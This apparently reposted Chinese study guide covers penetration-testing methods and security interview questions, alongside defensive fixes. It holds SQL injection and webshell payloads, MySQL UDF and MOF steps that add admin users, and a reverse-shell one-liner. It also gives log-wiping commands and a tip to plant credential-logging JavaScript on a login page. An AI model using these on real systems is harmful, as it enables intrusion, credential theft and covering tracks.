文章介绍

看到文章不错,就收藏了下,后备学习之用!

目录

[TOC]

内容

思路流程整理

服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

网站指纹识别(包括,cms,cdn,证书等),dns记录

whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

子域名收集,旁站,C段等

google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等

扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

传输协议,通用漏洞,exp,github源码等

浏览网站,看看网站规模,功能,特点等

端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

mysql提权,serv-u提权,oracle提权

windows 溢出提权

linux脏牛,内核漏洞提权e

i 日志、测试数据的清理 ii 总结,输出渗透测试报告,附修复方案

验证并发现是否有新漏洞,输出报告,归档

问题

​ 1) 信息收集

​ 1. 获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 用邮箱做关键词进行丢进搜索引擎。 利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。 社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 利用已有信息生成专用字典。

​ 2. 查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

​ 3. 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

​ 4. 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

​ 5. 扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针

​ 6. google hack 进一步探测网站的信息,后台,敏感文件

​ 2) 漏洞扫描

​ 开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, ​ 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

​ 3) 漏洞利用

​ 利用以上的方式拿到webshell,或者其他权限

​ 4) 权限提升

​ 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

​ 5) 日志清理

​ 6) 总结报告及修复方案

​ 查找网上已曝光的程序漏洞。

​ 如果开源,还能下载相对应的源码进行代码审计。

​ 敏感文件、二级目录扫描

​ 站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

​ IIS、Apache、nginx、Lighttpd、Tomcat

​ root权限以及网站的绝对路径。

​ IIS 6.0 ​ /xx.asp/xx.jpg “xx.asp”是文件夹名

​ IIS 7.0/7.5 ​ 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

​ Nginx ​ 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 ​ 空字节代码 xxx.jpg.php

​ Apache ​ 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

​ lighttpd ​ xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

​ linux大小写敏感,windows大小写不敏感。

​ 更改了端口,没有扫描出来。

​ 站库分离。

​ 3306端口不对外开放

​ 没开放3389 端口

​ 端口被修改

​ 防护拦截

​ 处于内网(需进行端口转发)

​ 宽字符注入

​ hex编码绕过

​ 查看编辑器的名称版本,然后搜索公开的漏洞。

​ 能做的事情很多,用隐藏网马来举例子: ​ 插入 ​ SetHandler application/x-httpd-php ​ .jpg文件会被解析成.php文件。

​ 具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

​ 只要权限广,拖库脱到老。

​ 是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

​ 迅雷下载,直接改后缀为.mdb。

​ 因为exp执行多半需要空格界定参数

​ 同数据库。

​ and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

​ 浏览器中改编码。

​ 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

​ 先爆破用户名,再利用被爆破出来的用户名爆破密码。

​ 其实有些站点,在登陆处也会这样提示

​ 所有和数据库有交互的地方都有可能有注入。

​ 这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

​ 直接在网站二级目录/abc/下扫描敏感文件及目录。

​ 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

​ 在登录后才可以访问的文件中插入XSS脚本。

​ 审查元素 把密码处的password属性改成text就明文显示了

​ 原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

​ 在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

​ 隐藏文件夹,为了不让管理员发现你传上去的工具。

A. demo.jsp?id=2+1 B. demo.jsp?id=2-1 选B,在 URL 编码中 + 代表空格,可能会造成混淆

demo.do?DATA=AjAxNg== DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。

身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。

验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

在获取书面授权的前提下。

1)如果是get型号,直接,sqlmap -u “诸如点网址”.

2) 如果是post型诸如点,可以sqlmap -u “注入点网址” –data=”post的参数”

3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”

1)报错注入

2)bool型注入

3)延时注入

4)宽字节注入

10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】

2)通过floor报错 向下取整

3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));

6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));

8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));

10).exp()select from test where id=1 and exp(~(select * from(select user())a));

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

都是一个字符一个字符的判断

上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

select ‘一句话’ into outfile ‘路径’ select ‘一句话’ into dumpfile ‘路径’ select ‘’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

1,验证referer

2,验证token 详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

1、SQL注入防护方法:

2、失效的身份认证和会话管理

3、跨站脚本攻击XSS

4、直接引用不安全的对象

5、安全配置错误

6、敏感信息泄露

7、缺少功能级的访问控制

8、跨站请求伪造CSRF

9、使用含有已知漏洞的组件

10、未验证的重定向和转发

1、使用安全的API

2、对输入的特殊字符进行Escape转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

1)代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()

3)命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

src指定一个远程的脚本文件,获取referer

1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg http://xss.tv/1.jpg> 会以php方式来解析

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

大小写转换法

干扰字符 /!/

编码 base64 unicode hex url ascll

复参数

各种上传漏洞

mysql具有写入权限,用sql语句写入shell

http put方法

1.web类(web漏洞/敏感目录) 第三方通用组件漏洞 struts thinkphp jboss ganglia zabbix

80 web 
80-89 web 
8000-9090 web

2.数据库类(扫描弱口令)

1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 

3.特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血 
873 Rsync未授权 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问

4,常用端口类(扫描弱口令/端口爆破)

21 ftp 
22 SSH 
23 Telnet 
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

端口合计详情

21 ftp 
22 SSH 
23 Telnet 
80 web 
80-89 web 
161 SNMP 
389 LDAP 
443 SSL心脏滴血以及一些web漏洞测试 
445 SMB 
512,513,514 Rexec 
873 Rsync未授权 
1025,111 NFS 
1433 MSSQL 
1521 Oracle:(iSqlPlus Port:5560,7778) 
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多) 
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
3306 MySQL 
3312/3311 kangle主机管理系统登陆 
3389 远程桌面 
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
5432 PostgreSQL 
5900 vnc 
5984 CouchDB http://xxx:5984/_utils/ 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
7778 Kloxo主机控制面板登录 
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 
8080 tomcat/WDCP主机管理系统,默认弱口令 
8080,8089,9090 JBOSS 
8083 Vestacp主机管理系统 (国外用较多) 
8649 ganglia 
8888 amh/LuManager 主机管理系统默认端口 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
28017 mongodb统计页面 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问

深信服一面:

了解哪些漏洞

文件上传有哪些防护方式

用什么扫描端口,目录

如何判断注入

注入有防护怎么办

有没有写过tamper

3306 1443 8080是什么端口

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

如何向服务器写入webshell

有没有用过xss平台

网站渗透的流程

mysql两种提权方式(udf,?)

常见加密方式xxx

ddos如何防护

有没有抓过包,会不会写wireshark过滤规则

清理日志要清理哪些

SQL注入防护

1、使用安全的API

2、对输入的特殊字符进行Escape转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

6、 规范编码,字符集

为什么参数化查询可以防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

SQL头注入点

UA
REFERER
COOKIE
IP

盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

宽字节注入产生原理以及根本原因

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

解决办法

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。 或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

sql里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

1:修改 homepage 值为http://xxx.net’, userlevel=’3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

2:修改 password 值为mypass)’ WHERE username=’admin’#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改 id 值为’ OR username=’admin’ 之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

sql如何写shell/单引号被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径 outfile函数

`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY ''`

`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`

宽字节注入

代替空格的方法

%0a、%0b、%a0 等 /**/ 等注释符 <>

mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

XSS

反射型

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接,才能攻击成功

储存型

存储型XSS会把用户输入的数据“存储”在服务器端。 这种XSS具有很强的稳定性。

DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。 DOM型:通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。

在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。 对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

除此之外,还有做HTTPOnly对Cookie劫持做限制。

CSRF

CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

验证Referer

添加token

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。 为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

引用一段请教前辈的回答:

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有可能是缓存、日志、get,也有可能是利用跨站
很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4

上传

大小写

双重后缀名

过滤绕过 pphphp->php

文件上传目录设置为不可执行

使用白名单判断文件上传类型

用随机数改写文件名和路径

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

文件包含

引入一段用户能控制的脚本或代码,并让服务器端执行 (1)include()等函数通过动态变量的方式引入需要包含的文件; (2)用户能够控制该动态变量。

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

XXE

防御中间人攻击的方案通常基于一下几种技术

1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

3.使用其他形式的密钥交换形式

ARP欺骗

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

DDOS

利用合理的请求造成资源过载,导致服务不可用

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

提权

udf提权,mof提权

Mysql_UDF提权

要求: 1.目标系统是Windows(Win2000,XP,Win2003); 2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入 select @@basedir show variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’ select cmdshell(‘net user arsch arsch /add’); select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell; 该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

Mysql mof提权

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

其中的第18行的命令,上传前请自己更改。

2、执行load_fileinto dumpfile把文件导出到正确的位置即可。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

特殊漏洞

产生原因

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

利用条件和方法

条件:

redis服务以root账户运行 redis无密码或弱密码进行认证 redis监听在0.0.0.0公网上

方法:

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

上传SSH公钥获得SSH登录权限

通过crontab反弹shell

slave主从模式利用

修复

密码验证

降权运行

限制ip/修改端口

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

println “ifconfig -a”.execute().text 执行一些系统命令,利用wget下载webshell

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护 1、为MongoDB添加认证: 1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户: use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容: bind_ip = 127.0.0.1

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用 1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

漏洞加固 1、设置memchached只允许本地访问 2、禁止外网访问Memcached 11211端口 3、编译时加上–enable-sasl,启用SASL认证

原理 通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

安全知识

常用WEB开发JAVA框架

STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。 045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

同源策略

同源策略限制不同源对当前document的属性内容进行读取或设置。 不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

Jsonp安全攻防技术,怎么写Jsonp的攻击页面?

涉及到Jsonp的安全攻防内容 JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

JSON劫持,跨域劫持敏感信息,页面类似于

function wooyun(v){
alert(v.username);
}
script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun">script>

Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。 JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction DL函数,组件漏洞,环境变量。

PHP弱类型 == 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

0e开头的字符串等于0

各种数据库文件存放的位置

mysql:/usr/local/mysql/data/

C:\ProgramData\MySQL\MySQL Server 5.6\Data\

oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

如何清理日志

meterpreter: clearev

入侵 Linux 服务器后需要清除哪些日志?

web日志,如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是对~/.bash_history进行定向清除

wtmp日志的清除,/var/log/wtmp

登录日志清除 /var/log/secure

查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

netstat -antp` `ss -l

ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

ls /proc

系统信息,硬件信息,内核版本,加载的模块,进程

linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

/etc/ssh/sshd___config iptables配置

如何一条命令查看文件内容最后一百行

tail -n 100 filename

密码学

AES/DES的具体工作步骤

RSA算法

加密: \(密文=明文^EmodN\) RSA加密是对明文的E次方后除以N后求余数的过程

\(公钥=(E,N)\) 解密:

\(明文=密文^DmodN\) \(私钥=(D,N)\) 三个参数n,e1,e2

n是两个大质数p,q的积

分组密码的加密模式

如何生成一个安全的随机数?

引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

SSL握手过程

建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。 这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

对称加密与非对称加密的不同,分别用在哪些方面

TCP三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;

(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;

(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

TCP和UDP协议区别

tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

https的建立过程

客户端发送请求到服务器端

服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在

客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端

服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端

客户端使用共享密钥解密数据

SSL加密建立

流量分析

wireshark简单的过滤规则

过滤ip:

过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

过滤端口:

过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如http协议http

http模式过滤:

过滤get/post包http.request.mothod==”GET/POST”

防火墙 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

说明

欢迎评论,欢迎指正,转载也请注明出处.

参考博客

2019年渗透测试思路及面试问题集锦 - 王大佬 https://wangdalao.com/1879.html

版本记录

20190830 开始整理

20190831 完成文章

20190902 更新文章格式